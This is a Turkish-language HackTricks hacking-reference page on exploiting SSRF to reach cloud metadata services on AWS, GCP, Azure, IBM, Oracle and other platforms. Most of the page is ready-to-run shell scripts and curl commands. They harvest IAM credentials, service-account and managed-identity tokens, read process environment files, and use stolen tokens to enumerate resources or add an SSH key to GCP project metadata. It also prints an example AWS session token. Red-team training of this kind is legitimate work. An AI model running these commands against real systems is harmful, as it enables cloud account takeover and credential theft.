Cloud SSRF

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

AWS

AWS EC2 environment içinde SSRF’yi abuse etmek

metadata endpoint’ine herhangi bir EC2 makinesinin içinden erişilebilir ve bu makine hakkında ilginç bilgiler sunar. http://169.254.169.254 adresinde erişilebilir (metadata hakkında bilgi burada).

metadata endpoint’inin 2 sürümü vardır. İlki, endpoint’e GET istekleriyle erişmeye izin verir (bu yüzden herhangi bir SSRF bunu exploit edebilir). İkinci sürüm için, IMDSv2, bir token istemeniz gerekir; bunun için HTTP header ile bir PUT isteği gönderilir, ardından bu token başka bir HTTP header ile metadata’ya erişmek için kullanılır (bu yüzden bir SSRF ile abuse etmesi daha karmaşıktır).

Caution

EC2 instance’ının IMDSv2’yi zorunlu tuttuğu durumda, docs’a göre, PUT isteğinin response’u bir hop limit of 1 değerine sahip olacaktır; bu da EC2 instance’ı içindeki bir container’dan EC2 metadata’ya erişmeyi imkansız hale getirir.

Ayrıca, IMDSv2 X-Forwarded-For header’ını içeren token alma isteklerini de block eder. Bu, yanlış yapılandırılmış reverse proxy’lerin buna erişebilmesini önlemek içindir.

docs’taki metadata endpoints hakkında bilgi bulabilirsiniz. Aşağıdaki script’te bundan bazı ilginç bilgiler elde edilir:

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

Genel olarak erişilebilir IAM credentials ortaya çıkmış örnek olarak şurayı ziyaret edebilirsiniz: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

Ayrıca genel EC2 security credentials bilgilerini de şurada kontrol edebilirsiniz: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Ardından bu credentials’ları alıp AWS CLI ile kullanabilirsiniz. Bu, o role verilen izinlerin yapabildiği her şeyi yapmanıza olanak tanır.

Yeni credentials’lardan yararlanmak için, bunun gibi yeni bir AWS profile oluşturmanız gerekir:

[profilename]
aws_access_key_id = ASIA6GG71[...]
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

aws_session_token’a dikkat edin, bu profile’ın çalışması için vazgeçilmezdir.

PACU, bulunan credentials ile yetkilerinizi öğrenmek ve privileges yükseltmeyi denemek için kullanılabilir

SSRF in AWS ECS (Container Service) credentials

ECS, EC2 instance’larının mantıksal bir grubudur; kendi cluster management altyapınızı ölçeklemek zorunda kalmadan üzerinde bir application çalıştırabilirsiniz çünkü ECS bunu sizin için yönetir. Eğer ECS içinde çalışan service’i compromise etmeyi başarırsanız, metadata endpoints değişir.

http://169.254.170.2/v2/credentials/<GUID> adresine erişirseniz ECS makinesinin credentials bilgisini bulursunuz. Ama önce <GUID>’yi bulmanız gerekir. <GUID>’yi bulmak için makine içindeki environ variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI’yi okumanız gerekir.
Bunu, file:///proc/self/environ için bir Path Traversal exploit ederek okuyabilirsiniz
Bahsedilen http address size AccessKey, SecretKey ve token’ı vermelidir.

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

Tip

Not edin ki bazı durumlarda container içinden EC2 metadata instance erişimi mümkün olacaktır (daha önce belirtilen IMDSv2 TTL sınırlamalarını kontrol edin). Bu senaryolarda container içinden hem container IAM role hem de EC2 IAM role erişebilirsiniz.

SSRF in AWS EKS Pod Identity credentials

Son EKS clusters, eski ECS-style relative URI akışı yerine Pod Identity kullanabilir. Bu podlarda, EKS şunları enjekte eder:

  • AWS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials
  • AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token

Bu nedenle, env vars veya projekte edilmiş service account token file okuyabilen bir SSRF/LFI, çoğu zaman bu dosyadaki authorization token ile local credential endpoint’e sorgu göndererek pod IAM credentials bilgilerini geri alabilir:

# Common discovery primitives
cat /proc/self/environ | tr '\\0' '\\n' | grep '^AWS_CONTAINER_'
ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/

# Use the projected token to query the local Pod Identity credential endpoint
AUTH_HEADER=$(cat "$AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE")
curl -s -H "Authorization: $AUTH_HEADER" "$AWS_CONTAINER_CREDENTIALS_FULL_URI"

Bu, özellikle pod’lar içinde çalışan ve bir SSRF ile local file read primitive sunan EKS webhooks, templating services veya URL fetchers için çok kullanışlıdır. Response, AWS CLI veya Pacu gibi tooling’lerle yeniden kullanılabilen geçici AWS credentials içerir.

SSRF for AWS Lambda

Bu durumda credentials env variables içinde saklanır. Bu yüzden onlara erişmek için file:///proc/self/environ gibi bir yere erişmen gerekir.

İlginç env variables’ların name’i şunlardır:

  • AWS_SESSION_TOKEN
  • AWS_SECRET_ACCESS_KEY
  • AWS_ACCESS_KEY_ID

Ayrıca, IAM credentials’a ek olarak, Lambda functions başlatıldıklarında function’a iletilen event data’ya da sahiptir. Bu data, runtime interface aracılığıyla function için erişilebilir hale getirilir ve sensitive information içerebilir (örneğin stageVariables içinde). IAM credentials’ın aksine, bu data standart SSRF üzerinden http://localhost:9001/2018-06-01/runtime/invocation/next adresinde erişilebilir.

Warning

Unutma ki lambda credentials env variables içindedir. Bu yüzden lambda code’unun stack trace’i env vars yazdırıyorsa, app içinde bir error tetikleyerek onları exfiltrate etmek mümkündür.

SSRF URL for AWS Elastic Beanstalk

API’den accountId ve region bilgilerini alırız.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Daha sonra API’den AccessKeyId, SecretAccessKey ve Token bilgilerini alırız.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Sonra kimlik bilgilerini aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/ ile kullanırız.

GCP

metadata endpoints hakkında dokümanları burada bulabilirsiniz.

Google Cloud için SSRF URL’si

Metadata-Flavor: Google HTTP başlığını gerektirir ve metadata endpoint’ine aşağıdaki URL’lerle erişebilirsiniz:

Bilgi çıkarmak için ilginç endpoint’ler:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Beta şu anda bir header gerektirmiyor (teşekkürler Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

Caution

Çıkartılan service account token kullanmak için şunu yapabilirsin:

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

Add an SSH key

Tokenı çıkartın

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Tokenun scope’unu kontrol et (önceki çıktı ile veya aşağıdakini çalıştırarak)

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

SSH anahtarını şimdi gönder.

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

Cloud Functions

metadata endpoint, VMs’deki ile aynı şekilde çalışır ancak bazı endpoints olmadan:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Cloud Run / Cloud Functions 2nd gen

Cloud Run ve 2nd generation Cloud Functions için, genellikle metadata server’dan sadece OAuth access token’ı değil, aynı zamanda audience-bound identity token çalmak da daha ilginçtir. Bu, ele geçirilmiş workload private Cloud Run services, IAP-protected backends veya Google tarafından verilmiş ID token’ları doğrulayan herhangi bir servise ulaşabildiğinde faydalıdır.

# OAuth access token for the attached service account
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Audience-bound identity token
curl -s -H "Metadata-Flavor: Google" \
"http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://TARGET-REGION-PROJECT.run.app"

Tip

identity endpointi bir audience parametresi gerektirir. Gerçek operasyonlarda bu genellikle, token against SSRF kanıtladıktan sonra, internal service URL’lerini enumerate etmeniz ve ardından target service’in beklediği tam audience ile ikinci bir token request etmeniz gerektiği anlamına gelir.

Digital Ocean

Warning

AWS Roles veya GCP service account gibi şeyler yok, bu yüzden metadata bot credentials bulmayı beklemeyin

Documentation available at https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

Docs burada.

  • Must header Metadata: true içermelidir
  • X-Forwarded-For header’ı içermemelidir

Tip

Bir Azure VM, bağlı 1 system managed identity ve birkaç user managed identity’ye sahip olabilir. Bu da pratikte, bir VM’ye bağlı tüm managed identities’leri impersonate edebileceğiniz anlamına gelir.

Metadata endpoint’ine access token isterken, varsayılan olarak metadata service token üretmek için system assigned managed identity’yi kullanır, eğer bir system assigned managed identity varsa. Eğer yalnızca BİR user assigned managed identity varsa, bu varsayılan olarak kullanılır. Ancak, system assigned managed identity yoksa ve birden fazla user assigned managed identity varsa, metadata service birden fazla managed identity olduğunu belirten bir hata döndürür ve hangisinin kullanılacağını belirtmek gerekir.

Ne yazık ki bir VM’nin bağlı tüm MI’larını gösteren bir metadata endpoint bulamadım, bu yüzden bir VM’ye atanmış tüm managed identities’leri öğrenmek Red Team açısından zor bir iş olabilir.

Bu nedenle, bağlı tüm MI’ları bulmak için şunları yapabilirsiniz:

  • az cli ile bağlı identities alın (eğer Azure tenant’ında Microsoft.Compute/virtualMachines/read iznine sahip bir principal’ı zaten compromised ettiyseniz)
az vm identity show \
 --resource-group <rsc-group> \
 --name <vm-name>
  • metadata’daki varsayılan bağlı MI kullanarak attached identities alın:
export API_VERSION="2021-12-13"

# Get token from default MI
export TOKEN=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \
 | jq -r '.access_token')

# Get needed details
export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId')
export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName')
export VM_NAME=$(curl -s -H "Metadata:true" \
 "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name')

# Try to get attached MIs
curl -s -H "Authorization: Bearer $TOKEN" \
 "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
  • Tenant’te tanımlı tüm managed identities’leri get all edip VM’ye bağlı olup olmadıklarını görmek için brute force yapın (Microsoft.ManagedIdentity/userAssignedIdentities/read izni gerekir):
az identity list

Caution

Token isteklerinde, kullanmak istediğiniz managed identity’yi belirtmek için object_id, client_id veya msi_res_id parametrelerinden herhangi birini kullanın (docs). Hiçbiri verilmezse, default MI kullanılacaktır.

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

Warning

Note that the endpoint http://169.254.169.254/metadata/v1/instanceinfo doesn’t require the Metadata: True header which is great to show impact in SSRF vulnerabilities in Azure were you cannot add this header.

Azure App & Functions Services & Automation Accounts

From the env you can get the values of IDENTITY_HEADER and IDENTITY_ENDPOINT. That you can use to gather a token to speak with the metadata server.

Most of the time, you want a token for one of these resources:

Caution

Token isteklerinde kullanmak istediğiniz managed identity’yi belirtmek için object_id, client_id veya msi_res_id parametrelerinden herhangi birini kullanın (docs). Hiçbiri verilmezse, default MI kullanılacaktır.

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# (Fingerprint) You should also be able to find the folder:
ls /opt/microsoft

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get vault token
curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"
# Get storage token
curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER"

IBM Cloud

Warning

IBM’de varsayılan olarak metadata etkin değildir, bu yüzden bir IBM cloud VM içinde olsanız bile ona erişemeyebilirsiniz.

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

Çeşitli platformların metadata services için dokümantasyon aşağıda özetlenmiştir; instance’lar için configuration ve runtime bilgisinin hangi yöntemlerle erişilebildiği vurgulanmaktadır. Her platform, metadata services’e erişmek için benzersiz endpoint’ler sunar.

Packetcloud

Packetcloud metadata’sına erişim için dokümantasyon burada bulunabilir: https://metadata.packet.net/userdata

OpenStack/RackSpace

Bir header gerekliliği belirtilmemiştir. Metadata şu yolla erişilebilir:

  • http://169.254.169.254/openstack

HP Helion

Burada da bir header gerekliliği belirtilmemiştir. Metadata şu adreste erişilebilir:

  • http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud Infrastructure, eski /latest/ örneklerinden bugün çok daha alakalı olan bir IMDSv2 moduna sahiptir. IMDSv2’de:

  • Request’ler http://169.254.169.254/opc/v2/ adresine gider
  • Request’ler Authorization: Bearer Oracle header’ını içermelidir
  • Forwarded, X-Forwarded-For veya X-Forwarded-Host içeren request’ler reddedilir
  • Instance yalnızca IMDSv2’ye izin verecek şekilde yapılandırılmışsa, eski /opc/v1 ve /openstack path’leri 404 döner

İlginç endpoint’ler:

curl -s -H "Authorization: Bearer Oracle" \
http://169.254.169.254/opc/v2/instance/

curl -s -H "Authorization: Bearer Oracle" \
http://169.254.169.254/opc/v2/vnics/

Yani, bir SSRF perspektifinden bakıldığında, OCI artık zorlaştırılmış cloud metadata servislerine çok daha yakın davranıyor; bu servisler mandatory header gerektirir ve yaygın forwarded-header proxy patterns’i açıkça reddeder.

Alibaba

Alibaba, metadata erişimi için endpoint’ler sunar; buna instance ve image ID’leri dahildir:

  • http://100.100.100.200/latest/meta-data/
  • http://100.100.100.200/latest/meta-data/instance-id
  • http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCD, API keys, internal IP addresses ve ports tutabilir. Erişim şu şekilde gösterilir:

  • curl -L http://127.0.0.1:2379/version
  • curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Docker metadata’sına lokal olarak erişilebilir; container ve image bilgilerini almak için örnekler verilmiştir:

  • Docker socket üzerinden containers ve images metadata’sına erişmek için basit örnek:
  • docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
  • Container içinde, Docker socket ile curl kullanın:
  • curl --unix-socket /var/run/docker.sock http://foo/containers/json
  • curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Rancher metadata’sına şu şekilde erişilebilir:

  • curl http://rancher-metadata/<version>/<path>

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin